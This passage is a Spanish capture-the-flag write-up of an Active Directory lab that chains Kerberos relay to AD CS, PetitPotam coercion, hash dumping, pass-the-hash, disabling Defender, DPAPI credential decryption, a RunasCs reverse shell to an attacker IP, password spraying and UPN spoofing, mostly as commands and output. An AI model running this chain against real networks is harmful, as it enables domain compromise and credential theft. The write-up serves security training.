[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Domain does not have a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` record!
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Adding `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` pointing to `10.10.15.30` at `DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb`
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Dumping domain info for first time
[*] ldap://DARKCORP/SVC_ACC@172.16.20.1 [1] -> Domain info dumped into lootdir!
A modo de verificar este nuevo registro, podemos hacer una consulta DNS rápidamente usando dig o nslookup
dig @"$DOMAIN" dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb
; <<>> DiG 9.10.6 <<>> @darkcorp.htb dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27600
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb. IN A
;; ANSWER SECTION:
dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb. 60 IN A 10.10.15.30
;; Query time: 287 msec
;; SERVER: 172.16.20.1#53(172.16.20.1)
;; WHEN: Fri May 29 18:58:41 -04 2026
;; MSG SIZE rcvd: 107
Kerberos Relay
Ya deberíamos ser capaces de forzar la autenticación desde una máquina del dominio. Iniciaremos krbrelayx apuntando al endpoint de inscripción web
krbrelayx.py -t https://DC-01.darkcorp.htb/certsrv/certfnsh.asp --adcs --template Machine -v 'WEB-01$'
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Running in attack mode to single host
[*] Running in kerberos relay mode because no credentials were specified.
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up DNS Server
[*] Servers started, waiting for connections
-t: URL hacia el endpoint de inscripción de certificados.-v: Nombre de la cuenta víctima para identificar el certificado
Ahora iniciaremos una herramienta de coerción como PetitPotam para forzar la autenticación de WEB-01 en nuestro listener
petitpotam.py -d "$DOMAIN" -u 'victor.r' -p 'victor1gustavo@#' dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA WEB-01.darkcorp.htb
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
Trying pipe lsarpc
[-] Connecting to ncacn_np:WEB-01.darkcorp.htb[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
Desde nuestro listener con krbrelayx recibiremos la autenticación, en ese mismo instante solicitará un certificado en nombre de la cuenta de equipo WEB-01$
[*] SMBD: Received connection from 127.0.0.1
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 127.0.0.1
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 6
[*] Writing PKCS#12 certificate to ./WEB-01$.pfx
[*] Certificate successfully written to file
[*] HTTP server returned status code 200, treating as a successful login
[*] Skipping user WEB-01$ since attack was already performed
Podemos utilizar este certificado para autenticarnos vía PKINIT al DC y así obtener las credenciales de la cuenta WEB-01$
certipy auth -pfx WEB-01\$.pfx -domain "$DOMAIN" -dc-ip "$DC_IP"
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN DNS Host Name: 'WEB-01.darkcorp.htb'
[*] Security Extension SID: 'S-1-5-21-3432610366-2163336488-3604236847-20601'
[*] Using principal: 'web-01$@darkcorp.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'web-01.ccache'
[*] Wrote credential cache to 'web-01.ccache'
[*] Trying to retrieve NT hash for 'web-01$'
[*] Got hash for 'web-01$@darkcorp.htb': aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675
Finalmente, podemos utilizar el hash NT o las credenciales en caché para obtener un ticket de servicio suplantando al usuario Administrator
faketime "$(ntpdate -q $DC_IP | cut -d ' ' -f 1,2)" zsh
export KRB5CCNAME="$(pwd)/web-01.ccache"
getST.py -altservice CIFS/WEB-01.darkcorp.htb -self -impersonate Administrator -dc-ip "$DC_IP" "$DOMAIN"/'WEB-01$' -k -no-pass
Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Changing service from WEB-01$@DARKCORP.HTB to CIFS/WEB-01.darkcorp.htb@DARKCORP.HTB
[*] Saving ticket in Administrator@CIFS_WEB-01.darkcorp.htb@DARKCORP.HTB.ccache
Cargaremos el ticket en la variable KRB5CCNAME, y posteriormente podremos dumpear los hashes del host WEB-01 con la herramienta secretsdump
export KRB5CCNAME="$(pwd)/Administrator@CIFS_WEB-01.darkcorp.htb@DARKCORP.HTB.ccache"
secretsdump.py -k -no-pass WEB-01.darkcorp.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x4cf6d0e998d53752d088e233abb4bed6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d84ec08dad123eb04a060a74053f21:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
DARKCORP.HTB/svc_acc:$DCC2$10240#svc_acc#3a5485946a63220d3c4b118b36361dbb: (2026-05-29 19:43:07)
Shell as Administrator - WEB-01
Con el hash NT del usuario Administrator del host WEB-01, podemos hacer PassTheHash para conectarnos vía WinRM con una consola de powershell
evil-winrm-py -i 172.16.20.2 -u Administrator -H '88d84ec08dad123eb04a060a74053f21'
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.5.0
[*] Connecting to '172.16.20.2:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> whoami
web-01\administrator
Ya podremos ver la flag del usuario sin privilegios, la cual se ubica en el escitorio del usuario Administrator en esta máquina
evil-winrm-py PS C:\Users\Administrator\Documents> type ..\Desktop\user.txt
a0c...
Escalada de Privilegios
System Enumeration
Ahora que tenemos acceso administrativo en el host WEB-01, procederemos a lanzar una herramienta de enumeración como winPEAS, con el fin de buscar alguna vía que nos permita acceder al host DC-01
Defender
Aunque si lanzamos una herramienta, Windows Defender la bloquea por firma
evil-winrm-py PS C:\Programdata> .\winPEASany.exe
.\winPEASany.exe: Operation did not complete successfully because the file contains a virus or potentially unwanted software.
At line:1 char:1
+ .\winPEASany.exe
+ ~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
Para deshabilitar el Defender, podemos utilizar el siguiente comando que desactiva el monitoreo en tiempo real (requiere privilegios de Administrator)
evil-winrm-py PS C:\Programdata> Set-MpPreference -DisableRealtimeMonitoring $true
Powershell Modules
Al listar módulos de Powershell, notaremos que está instalado uno llamado CredentialManager.
Los módulos de
PowerShellson paquetes de código reutilizables que contienen cmdlets, funciones, variables y scripts.
evil-winrm-py PS C:\Users\Administrator\Documents> Get-Module -ListAvailable
Directory: C:\Program Files\WindowsPowerShell\Modules
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Binary 2.0 CredentialManager {Get-StoredCredential, New-StoredCredential, Remove-StoredC...
Script 1.0.1 Microsoft.PowerShell.Operation.V... {Get-OperationValidation, Invoke-OperationValidation}
Binary 1.0.0.1 PackageManagement {Find-Package, Get-Package, Get-PackageProvider, Get-Packag...
Script 3.4.0 Pester {Describe, Context, It, Should...}
Script 1.0.0.1 PowerShellGet {Install-Module, Find-Module, Save-Module, Update-Module...}
Script 2.0.0 PSReadline {Get-PSReadLineKeyHandler, Set-PSReadLineKeyHandler, Remove...
Directory: C:\Windows\system32\WindowsPowerShell\v1.0\Modules
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Manifest 2.0.0.0 AppLocker {Get-AppLockerFileInformation, Get-AppLockerPolicy, New-App...
<SNIP>
DPAPI Secrets
DPAPI (
Data Protection API) es una API de cifrado integrada en Windows que permite proteger datos sensibles (como contraseñas, claves y credenciales) de forma automática, utilizando las credenciales del usuario o del sistema.
DPAPI protege los datos utilizando una master key, normalmente cifrada con las credenciales del usuario en formato hash.
El abuso o lectura de secretos DPAPI es una técnica de post-explotación que logra obtener información sensible protegida por DPAPI.
Para descifrar datos protegidos por esta funcionalidad de Windows necesitamos extraer los siguientes archivos:
Master Key: Clave maestra, la necesitaremos para desencriptar credenciales.Credential File: Archivo de credenciales protegidas por DPAPI.
Los datos se almacenan en el directorio de usuarios y están protegidos por esta clave maestra. Normalmente se encuentran el la siguiente carpeta
C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID
Los datos protegidos suelen encontrarse dentro de los siguientes carpetas del usuario
C:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\
Master Key
Vemos algunos archivos de clave maestra almacenads dentro de la carpeta C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500, aunque están protegidos por Windows.
Aunque de primeras no tenemos del todo claro cuál es el de clave maestra.
evil-winrm-py PS C:\Programdata> dir C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500 -Force
Directory: C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 1/15/2025 4:11 PM 468 189c6409-5515-4114-81d2-6dde4d6912ce
-a-hs- 1/16/2025 10:35 AM 468 6037d071-cac5-481e-9e08-c4296c0a7ff7
-a-hs- 5/29/2026 10:35 AM 468 9d2ed2ba-f3c1-4150-838d-6e880309f7d4
-a-hs- 5/29/2026 10:35 AM 24 Preferred
Credential
El archivo. de credencial lo encontraremos bajo la ruta C:\Users\Administrator\AppData\Local\Microsoft\Credentials\, aunque está oculto porque es un archivo protegido por Windows
evil-winrm-py PS C:\Programdata> dir C:\Users\Administrator\AppData\Local\Microsoft\Credentials\ -Force
Directory: C:\Users\Administrator\AppData\Local\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 1/16/2025 11:01 AM 560 32B2774DF751FF7E28E78AE75C237A1E
Descargaremos el archivo de clave maestra y el archivo de credencial
evil-winrm-py PS C:\Users\Administrator\Documents> download C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500\6037d071-cac5-481e-9e08-c4296c0a7ff7 .
Antes de descargar el archivo de credencial, necesitamos eliminar ciertos atributos que contiene
evil-winrm-py PS C:\Users\Administrator\Documents> attrib -h -s C:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E
evil-winrm-py PS C:\Programdata> download C:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E .
-h: Eliminar el atributohidden(oculto) del archivo.-s: Eliminar el atributosystem, que marca el archivo como protegido por Windows.
Tip: Podemos usar mimikatz para saber qué
Master Keyse necesita para descifrar ese blob.
evil-winrm-py PS C:\Programdata> .\mimikatz.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E" exit
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\32B2774DF751FF7E28E78AE75C237A1E
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {6037d071-cac5-481e-9e08-c4296c0a7ff7} # This
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000030 - 48
szDescription : Local Credential Data
<SNIP>
Ahora que sabemos exactamente qué archivo de Mastery Key necesitamos, lo descargaremos en nuestra máquina de atacante
Al igual que con el archivo de credencial, quitamos los atributos
hiddenysystemy descargamos el archivo.
evil-winrm-py PS C:\Users\Administrator\Documents> attrib -h -s C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541
228647-500\6037d071-cac5-481e-9e08-c4296c0a7ff7
evil-winrm-py PS C:\Users\Administrator\Documents> download C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-25412286
47-500\6037d071-cac5-481e-9e08-c4296c0a7ff7 .
Dump Secrets Via Netexec
Actualmente tenemos el hash NT del usuario Administrator local, podemos dumpear los secretos DPAPI sin conocer la contraseña.
Netexec es capaz de automatizar todo el proceso de extracción y descifrado de secretos
nxc smb 172.16.20.2 -u Administrator -H '88d84ec08dad123eb04a060a74053f21' --local-auth --dpapi
SMB 172.16.20.2 445 WEB-01 [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:WEB-01) (signing:False) (SMBv1:None)
SMB 172.16.20.2 445 WEB-01 [+] WEB-01\Administrator:88d84ec08dad123eb04a060a74053f21 (Pwn3d!)
SMB 172.16.20.2 445 WEB-01 [*] Collecting DPAPI masterkeys, grab a coffee and be patient...
SMB 172.16.20.2 445 WEB-01 [+] Got 6 decrypted masterkeys. Looting secrets...
SMB 172.16.20.2 445 WEB-01 [SYSTEM][CREDENTIAL] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:But_Lying_Aid9!
En este caso encontró una credencial guardada por el Programador de Tareas: But_Lying_Aid9!. Esta credencial parece ser la contraseña de la cuenta Administrator local en el host WEB-01
nxc smb 172.16.20.2 -u Administrator -p 'But_Lying_Aid9!' --local-auth
SMB 172.16.20.2 445 WEB-01 [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:WEB-01) (signing:False) (SMBv1:None)
SMB 172.16.20.2 445 WEB-01 [+] WEB-01\Administrator:But_Lying_Aid9! (Pwn3d!)
Decrypt Credential Via Impacket
Herramientas como dpapi.py de impacket nos permiten descifrar secretos DPAPI. Para esto debemos conocer la contraseña del usuario.
Utilizaremos la contraseña que encontramos del usuario
Administratorpara descifrar los secretos.
dpapi.py masterkey -file 6037d071-cac5-481e-9e08-c4296c0a7ff7 -sid S-1-5-21-2988385993-1727309239-2541228647-500 -password 'But_Lying_Aid9!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 6037d071-cac5-481e-9e08-c4296c0a7ff7
Flags : 5 (5)
Policy : 0 (0)
MasterKeyLen: 000000b0 (176)
BackupKeyLen: 00000090 (144)
CredHistLen : 00000014 (20)
DomainKeyLen: 00000000 (0)
Decrypted key with User Key (SHA1)
Decrypted key: 0xac7861aa1f899a92f7d8895b96056a76c580515d8a4e71668bc29627f6e9f38ea289420db75c6f85daac34aba33048af683153b5cfe50dd9945a1be5ab1fe6da
Ahora que desciframos la Master Key, procederemos a descifrar la credencial de la siguiente manera
dpapi.py credential -file 32B2774DF751FF7E28E78AE75C237A1E -key 0xac7861aa1f899a92f7d8895b96056a76c580515d8a4e71668bc29627f6e9f38ea289420db75c6f85daac34aba33048af683153b5cfe50dd9945a1be5ab1fe6da
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-01-16 19:01:39
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=WEB-01
Description : Updated by: Administrator on: 1/16/2025
Unknown :
Username : Administrator
Unknown : Pack_Beneath_Solid9!
Get Stored Credentials Via RunasCs
De forma alternativa, podemos utilizar el módulo CredentialManager desde powershell para leer credenciales almacenadas.
CredentialManageres un módulo dePowerShellde la comunidad utilizado para interactuar con el Administrador de credenciales de Windows (Windows Credential Manager).
Al ejecutar el cmdlet Get-StoredCredential desde la consola actual con evil-winrm-py, obtendremos el error 1312
evil-winrm-py PS C:\Programdata> Get-StoredCredential
CredEnumerate failed with the error code 1312.
Uno de los inconvenientes a la hora de acceder por WinRM es el tipo de sesión (Logon Type), debido a que cuando nos conectamos lo hace con un Logon Type 3 (Network).
Herramientas como
RunasCsnos permiten lanzar un nuevo tipo de sesión para un usuario.
El error 1312 indica que la sesión especificada no existe o no tiene un conjunto de credenciales asociado. Esto ocurre principalmente al utilizar un tipo de sesión (Logon Type) Network o uno no interactivo (como WinRM o una tarea programada).
Iniciaremos un listener para recibir una shell
rlwrap -cAr nc -lvnp 443
Lanzaremos la herramienta RunasCs.exe con el fin de lanzar un access token completo con un nuevo tipo de sesión. Por defecto, Runas lanza un tipo de sesión 2 (Interactive)
evil-winrm-py PS C:\Programdata> upload RunasCs.exe .
evil-winrm-py PS C:\Programdata> .\RunasCs.exe Administrator 'But_Lying_Aid9!' -r 10.10.15.30:443 powershell
Volveremos a intentar utilizar el cmdlet Get-StoredCredential para interactuar con Windows Credentials Vault y obtener los secretos
Connection from 10.129.5.241:49929
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> Get-StoredCredential
Get-StoredCredential
UserName Password
-------- --------
Administrator System.Security.SecureString
Para obtener las credenciales en texto claro, podemos usar el método GetNetworkCredential()
PS C:\Windows\system32> $cred = Get-StoredCredential
PS C:\Windows\system32> $cred.GetNetworkCredential() | Format-List
UserName : Administrator
Password : Pack_Beneath_Solid9!
SecurePassword : System.Security.SecureString
Domain :
Password Spraying
Ahora que recuperamos una nueva contraseña en texto claro, podemos intentar hacer Password Spraying para verificar si se reutiliza en algún usuario del domnio.
Como no he generado ningún listado de usuarios todavía, lo hice empleando la opción
--usersdenetexecy aplicando filtros conbash.
nxc smb "$DC_IP" -u 'victor.r' -p 'victor1gustavo@#' --users | sed '1,3d; $d' | awk '{print $5}' | tee users.txt
Administrator
Guest
krbtgt
victor.r
svc_acc
john.w
angela.w
angela.w.adm
taylor.b
taylor.b.adm
eugene.b
bryce.c
Herramientas como kerbrute nos permiten rápidamente hacer un ataque de Password Spraying
kerbrute passwordspray users.txt -d darkcorp.htb --dc $DC_IP 'Pack_Beneath_Solid9!'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/30/26 - Ronnie Flathers @ropnop
2026/05/30 00:11:20 > Using KDC(s):
2026/05/30 00:11:20 > 172.16.20.1:88
2026/05/30 00:11:22 > [+] VALID LOGIN: john.w@darkcorp.htb:Pack_Beneath_Solid9!
2026/05/30 00:11:22 > Done! Tested 12 logins (1 successes) in 2.681 seconds
La contraseña es válida para el usuario john.w, podemos validarla con netexec
nxc smb "$DC_IP" -u 'john.w' -p 'Pack_Beneath_Solid9!'
SMB 172.16.20.1 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB 172.16.20.1 445 DC-01 [+] darkcorp.htb\john.w:Pack_Beneath_Solid9!
Abusing AD ACL - GenericWrite Rights
El usuario john.w posee derechos GenericWrite sobre la cuenta angela.w. Esto permite modificar cualquier atributo modificable de un objeto, excepto propiedades que requieren permisos especiales (por ejemplo restablecer contraseña)

Shadow Credentials
Con este permiso una de las opciones de ataque es Shadow Credentials, el cual se aprovecha de un usuario a través de PKINIT.
Esta técnica contempla modificar el atributo
msDS-KeyCredentialLink, añadiendo credenciales alternativas en forma de certificados, permitiendo autenticarnos como el usuario víctima sin conocer su contraseña.
Podemos automatizar este proceso usando certipy shadow auto para directamente obtener las credenciales de la cuenta víctima
certipy shadow auto -u 'john.w' -p 'Pack_Beneath_Solid9!' -account angela.w -dc-ip "$DC_IP"
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Targeting user 'angela.w'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '94db6a544ad64797ad2e6667fcb20366'
[*] Adding Key Credential with device ID '94db6a544ad64797ad2e6667fcb20366' to the Key Credentials for 'angela.w'
[*] Successfully added Key Credential with device ID '94db6a544ad64797ad2e6667fcb20366' to the Key Credentials for 'angela.w'
[*] Authenticating as 'angela.w' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'angela.w@darkcorp.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'angela.w.ccache'
[*] Wrote credential cache to 'angela.w.ccache'
[*] Trying to retrieve NT hash for 'angela.w'
[*] Restoring the old Key Credentials for 'angela.w'
[*] Successfully restored the old Key Credentials for 'angela.w'
[*] NT hash for 'angela.w': 957246c8137069bca672dc6aa0af7c7a
Abusing Mixed Vendor Kerberos Stacks
Estamos en un escenario donde tenemos un entorno mixto de Kerberos. Por un lado Active Directory, y por otro lado un entorno Linux unido al dominio.
En el siguiente artículo se menciona un problema de diseño en proveedores mixtos de Kerberos, además de cómo abusar de estos casos específicos para escalar privilegios en un proveedor de Kerberos que use GSSAPI
Understanding Attack
Es bien sabido que
Kerberoses un protocolo de autenticación. Sin embargo, las decisiones de autorización se implementan fuera del propio protocolo, lo que da lugar a comportamientos divergentes entre distintos stacks.
Escencialmente, esta vulnerabilidad radica en que un ecosistema de Active Directory gestiona la autenticación de forma diferente a los entornos Linux/Unix (que suelen implementar MIT o Heimdal Kerberos vía GSSAPI).
-
Windows: UtilizaSecurity Support Provider Interface(SSPI), la autorización de un usuario depende estrictamente delPAC(Privileged Attribute Certificate). -
Unix/Linux: Se implementa medianteGSSAPI, el cual autentica. Sin embargo, el servicio objetivo (comoSSH) es quién valida el campocnamedel ticket y realiza una consulta secundario contraLDAPo una base de datos local para determinar los permisos delPrincipal.
Existe un problema con el atributo userPrincipalName (UPN) de las cuentas de usuario y de equipo dentro de Active Directory.
Estas cuentas son susceptibles a la suplantación de identidad cuando proporcionan tickets
Kerberospara servicios basados enUnixunidos a un dominio de Active Directory.
Active Directory implementa un algoritmo con fines de autenticación cuando se busca un principal dentro de un reino Kerberos. Este algoritmo realiza búsquedas en base al tipo de name-type utilizado.
- Si se utiliza
NT_PRINCIPAL, se priorizará buscar ensamAccountName. - Si se utiliza
NT_ENTERPRISE, se priorizará busaar enuserPrincipalName.

Debido a que los proveedores
Kerberosbasados en Unix/Linux confían en el atributocnamede los tickets para identificar alprincipal, es posible suplantar la identidad de cuentas dentro de estos stacks.
Si un atacante posee permisos de escritura sobre el conjunto de atributos Public Information, o GenericWrite sobre cualquier cuenta de usuario o equipo, puede cambiar el atributo userPrincipalName por el valor de samAccountName de otro usuario en ella.
El valor de
userPrincipalNameno requiere el formato esperado (comouser@domain.com). Es posible asignar directamente el valor desamAccountNamedel usuario que queremos suplantar.
De esta forma, cuando un atacante solicite un TGT especificando NT_ENTERPRISE, se priorizará userPrincipalName en la búsqueda, y se le entregará un TGT válido para el usuario que especificó en UPN.
Cuando intentamos utilizar este ticket contra un servicio basado en Windows (
SSPI), no será posible escalar privilegios debido a queSSPIsiempre inspecciona elPAC, el cual contiene la información real del usuario autenticado (como elsamAccountNamey suSID).
Este TGT resultando permitirá solicitar tickets de servicio válidos exclusivamente para conectarse a servicios Kerberos basados en GSSAPI
Scenario
Para planificar nuestro ataque, debemos considerar lo siguientes factores:
-
La cuenta
angela.w.admes miembro del grupoLinux_Admins, posiblemente los miembros de este grupo puedan conectarse a la máquinadrip. -
Tenemos permisos
GenricWritesobre la cuentaangela.w, por lo que podemos modificar atributos comouserPrincipalName.

Si miramos la configuración de ssh, notaremos que la máquina drip admite autenticación vía GSSAPI
ebelford@drip:~$ cat /etc/ssh/sshd_config | grep GSSAPI
# GSSAPI options
GSSAPIAuthentication yes
GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no
Modificaremos el
userPrincipalNamede la cuenta deangela.w, luego solicitarems un un TGT para la cuentaangela.w.admy nos intentaremos conectar a la máquinadripusando ese ticket.
UPN Spoofing
Comenzaremos este ataque modificando el UPN (userPrincipalName) de la cuenta angela.w asignando el valor del usuario objetivo. En este caso queremos suplantar a angela.w.adm
certipy account update -u 'john.w' -p 'Pack_Beneath_Solid9!' -user angela.w -upn 'angela.w.adm' -dc-ip "$DC_IP"
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'angela.w':
userPrincipalName : angela.w.adm
[*] Successfully updated 'angela.w'
Ahora solicitaremos un TGT para la cuenta de angela.w, enviando el tipo de principal con el valor NT_ENTERPRISE, manteniendo el hash de angela.w
getTGT.py "$DOMAIN"/angela.w.adm -hashes :957246c8137069bca672dc6aa0af7c7a -dc-ip "$DC_IP" -principalType NT_ENTERPRISE
Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in angela.w.adm.ccache
Podemos usar el comando klist para verificar que el principal está agisnado como el valor angela.w.adm
export KRB5CCNAME="$(pwd)/angela.w.adm.ccache"
klist
Ticket cache: FILE:/workspace/labs/machines/darkcorp/content/angela.w.adm.ccache
Default principal: angela.w.adm@DARKCORP.HTB
Valid starting Expires Service principal
05/30/2026 00:32:43 05/30/2026 10:32:43 krbtgt/DARKCORP.HTB@DARKCORP.HTB
renew until 05/31/2026 00:32:45
Necesitaremos configurar un cliente kerberos en nuestra máquina, netexec permite generar rápidamente un archivo krb5.conf
nxc smb DC-01.darkcorp.htb -k --generate-krb5-file ./krb5.conf
SMB DC-01.darkcorp.htb 445 DC-01 [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB DC-01.darkcorp.htb 445 DC-01 [+] krb5 conf saved to: ./krb5.conf
SMB DC-01.darkcorp.htb 445 DC-01 [+] Run the following command to use the conf file: export KRB5_CONFIG=./krb5.conf
cat krb5.conf -p
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = DARKCORP.HTB
[realms]
DARKCORP.HTB = {
kdc = dc-01.darkcorp.htb
admin_server = dc-01.darkcorp.htb
default_domain = darkcorp.htb
}
[domain_realm]
.darkcorp.htb = DARKCORP.HTB
darkcorp.htb = DARKCORP.HTB
Shell as angela.w.adm - drip
Cuando nuestro cliente kerberos esté debidamente configurado: variable KRB5CCNAME, KRB5_CONFIG y reloj sincronizado, podremos conectarnos a la máquina drip por ssh usando el parámetro -K
export KRB5_CONFIG=$(pwd)/krb5.conf
ssh -K angela.w.adm@drip.darkcorp.htb
